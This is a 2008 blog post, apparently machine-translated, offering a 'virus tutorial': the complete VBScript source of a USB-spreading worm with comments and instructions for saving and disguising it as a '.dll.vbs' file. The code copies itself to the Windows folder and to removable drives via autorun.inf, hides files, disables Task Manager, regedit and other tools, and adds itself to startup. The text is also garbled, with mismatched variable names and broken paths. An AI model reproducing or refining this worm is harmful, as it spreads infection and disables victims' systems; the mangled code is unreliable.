Saturday, December 27, 2008

Make Virus Is Easy

Few Virus Tutorial.

'//-- Start of the code, set to be left when the error occurred and then continue the virus - / /
on error resume next

Dim'//-- words following - / /
rekur dim, windowpath, flashdrive, fs, mf, content, TF, bat, nt, check, sd

'//-- Set a text that will be made for Autorun Setup Information - / /
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do

Copy'//-- themselves to be the master file in the Windows path (example: C: \ Windows)
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ batch-k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf virus to run automatically each flash disc tercolok - / /
'Spread to every drive bertype 1 and 2 (removable), including floppy disks

for each flashdrive in fs.drives
Check'//-- Drive - / /
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//-- Create Infector If Drivetypr 1 or 2. Or A: \ - / /
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 39

'//-- Create Atorun.inf the text before it is prepared (Auto Setup Information )--//
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next

Manipulation'//-- Registry - / /

set bat = createobject ( "WScript.Shell")

'//-- Manip - Title Change Internet Explorer into the bat vs ZAY - / /
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY"

'//-- Manip - Set that does not show hidden files in Explorer - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"

'//-- Manip - Remove the Find menu, Folder Options, Run, and block regedit and Task Manager - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"

'//-- Manip - Disable right-click - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu", "1", "REG_DWORD"

'//-- Manip - Munculkan Message Every Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeCaption", "Worm bat. Rangga from Variant-Zay, do not panic all data are safe."

'//-- Manip - On the Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch-k4l0n6.dll.vbs"

'//-- Manip - Change RegisteredOwner and Organization - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "bat"

Nah'//-- under this code if I do not, please explain to Aat_S Mas - / /
if check <> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
'End of Code


Save code in Notepad with the FILE> SAVE. Then in the save as type select "All Files (*.*). Save with the name: k4l0n6.dll.vbs. Actually I need a *. dll is also nothing but a business that does not suspicious aja.

He .. he ... Worm Virus is not pure thoughts of my own code because it mimics the virus Rangga-Zay

source: http://www.yogyafree.net/forum2/viewtopic.php?t=5787
http://davidliauw.blogspot.com/2007/06/make-virus-is-easy.html

No comments:

Post a Comment

Template Designed by Mastemplate